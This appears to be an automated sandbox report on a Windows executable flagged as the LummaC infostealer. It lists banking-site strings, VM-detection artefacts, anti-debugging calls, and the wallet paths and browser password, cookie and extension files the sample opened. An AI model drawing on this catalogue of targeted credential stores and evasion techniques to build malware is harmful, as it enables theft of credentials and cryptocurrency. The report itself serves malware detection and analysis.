Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714315814.0000000002E48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

API call chain: ExitProcess graph end node

graph_0-73626

Anti Debugging

Contains functionality to hide a thread from the debugger

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Code function: 0_2_004244E4 NtSetInformationThread 000000FE,00000011,00000000,00000000,?,?,?,?,?,0041EC64

0_2_004244E4

Found API chain indicative of debugger detection

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Debugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleep

graph_0-73711

Hides threads from debuggers

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Thread information set: HideFromDebugger

Jump to behavior

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Process queried: DebugFlags	Jump to behavior

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Code function: 0_2_00429EF7 rdtsc

0_2_00429EF7

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Code function: 0_2_0044E33B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0044E33B

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Code function: 0_2_0041F9A4 GetCurrentProcessId,NtDuplicateObject,NtClose,GetProcessId,NtQuerySystemInformation,NtQuerySystemInformation,

0_2_0041F9A4

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00422177 mov eax, dword ptr fs:[00000030h]	0_2_00422177
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00443998 mov ecx, dword ptr fs:[00000030h]	0_2_00443998
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0041F9A4 mov eax, dword ptr fs:[00000030h]	0_2_0041F9A4
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_004262A1 mov eax, dword ptr fs:[00000030h]	0_2_004262A1
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0043B362 mov eax, dword ptr fs:[00000030h]	0_2_0043B362
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0044FB15 mov eax, dword ptr fs:[00000030h]	0_2_0044FB15
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_004244E4 mov eax, dword ptr fs:[00000030h]	0_2_004244E4
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_004224A3 mov eax, dword ptr fs:[00000030h]	0_2_004224A3
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_004245EC mov eax, dword ptr fs:[00000030h]	0_2_004245EC
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00421EEB mov eax, dword ptr fs:[00000030h]	0_2_00421EEB
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00422817 mov eax, dword ptr fs:[00000030h]	0_2_00422817
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0041F916 mov eax, dword ptr fs:[00000030h]	0_2_0041F916
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_004269E4 mov eax, dword ptr fs:[00000030h]	0_2_004269E4
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00424995 mov eax, dword ptr fs:[00000030h]	0_2_00424995
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00424995 mov eax, dword ptr fs:[00000030h]	0_2_00424995
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00426A42 mov eax, dword ptr fs:[00000030h]	0_2_00426A42
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0042F265 mov eax, dword ptr fs:[00000030h]	0_2_0042F265
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00424B24 mov eax, dword ptr fs:[00000030h]	0_2_00424B24
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0041EBEB mov eax, dword ptr fs:[00000030h]	0_2_0041EBEB
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00424BED mov eax, dword ptr fs:[00000030h]	0_2_00424BED
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00424C8D mov eax, dword ptr fs:[00000030h]	0_2_00424C8D
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0041E6F0 mov eax, dword ptr fs:[00000030h]	0_2_0041E6F0
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00429EF7 mov eax, dword ptr fs:[00000030h]	0_2_00429EF7
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009B4853 mov eax, dword ptr fs:[00000030h]	0_2_009B4853
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0099092B mov eax, dword ptr fs:[00000030h]	0_2_0099092B
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009BA15E mov eax, dword ptr fs:[00000030h]	0_2_009BA15E
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009B2152 mov eax, dword ptr fs:[00000030h]	0_2_009B2152
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009AE957 mov eax, dword ptr fs:[00000030h]	0_2_009AE957
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009B2A7E mov eax, dword ptr fs:[00000030h]	0_2_009B2A7E
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009B23DE mov eax, dword ptr fs:[00000030h]	0_2_009B23DE
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009D3BFF mov ecx, dword ptr fs:[00000030h]	0_2_009D3BFF
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009B4BFC mov eax, dword ptr fs:[00000030h]	0_2_009B4BFC
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009B4BFC mov eax, dword ptr fs:[00000030h]	0_2_009B4BFC
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009AFB7D mov eax, dword ptr fs:[00000030h]	0_2_009AFB7D
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009B6CA9 mov eax, dword ptr fs:[00000030h]	0_2_009B6CA9
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009BF4CC mov eax, dword ptr fs:[00000030h]	0_2_009BF4CC
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009AFC0B mov eax, dword ptr fs:[00000030h]	0_2_009AFC0B
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009B6C4B mov eax, dword ptr fs:[00000030h]	0_2_009B6C4B
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00990D90 mov eax, dword ptr fs:[00000030h]	0_2_00990D90
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009B4D8B mov eax, dword ptr fs:[00000030h]	0_2_009B4D8B
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009CB5C9 mov eax, dword ptr fs:[00000030h]	0_2_009CB5C9
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009B6508 mov eax, dword ptr fs:[00000030h]	0_2_009B6508
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009DFD7C mov eax, dword ptr fs:[00000030h]	0_2_009DFD7C
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009B4EF4 mov eax, dword ptr fs:[00000030h]	0_2_009B4EF4
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009AEE52 mov eax, dword ptr fs:[00000030h]	0_2_009AEE52
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009B4E54 mov eax, dword ptr fs:[00000030h]	0_2_009B4E54
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009B270A mov eax, dword ptr fs:[00000030h]	0_2_009B270A
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009B474B mov eax, dword ptr fs:[00000030h]	0_2_009B474B
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00A38FFB push dword ptr fs:[00000030h]	0_2_00A38FFB

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Code function: 0_2_0043323B GetProcessHeap,CreateDCW,GetSystemMetrics,GetSystemMetrics,DeleteDC,

0_2_0043323B

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0044E33B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0044E33B
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0043D3A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0043D3A0
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0043CE89 SetUnhandledExceptionFilter,	0_2_0043CE89
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0043CE95 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0043CE95
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009CD0FC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_009CD0FC
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009CD0F0 SetUnhandledExceptionFilter,	0_2_009CD0F0
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009DE5A2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_009DE5A2
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009CD607 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_009CD607

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Code function: 0_2_0043D0B8 cpuid

0_2_0043D0B8

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Code function: 0_2_0044614F GetSystemTimeAsFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

0_2_0044614F

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Code function: 0_2_00402476 GetComputerNameW,GetUserNameW,

0_2_00402476

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Code function: 0_2_00453BC4 GetTimeZoneInformation,

0_2_00453BC4

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: 0.2.Vd3tOP5WSD.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Vd3tOP5WSD.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Vd3tOP5WSD.exe.23c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Vd3tOP5WSD.exe.23c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2148951176.00000000023C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Vd3tOP5WSD.exe PID: 2052, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Vd3tOP5WSD.exe	String found in binary or memory: %appdata%\Electrum\wallets
Source: Vd3tOP5WSD.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: Vd3tOP5WSD.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Vd3tOP5WSD.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Vd3tOP5WSD.exe, 00000000.00000002.3922174302.00000000030CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance6
Source: Vd3tOP5WSD.exe, 00000000.00000002.3922174302.00000000030CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\EthereumB
Source: Vd3tOP5WSD.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000002E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: Vd3tOP5WSD.exe, 00000000.00000002.3922174302.00000000030CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcobl	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddffflal	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjhl	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
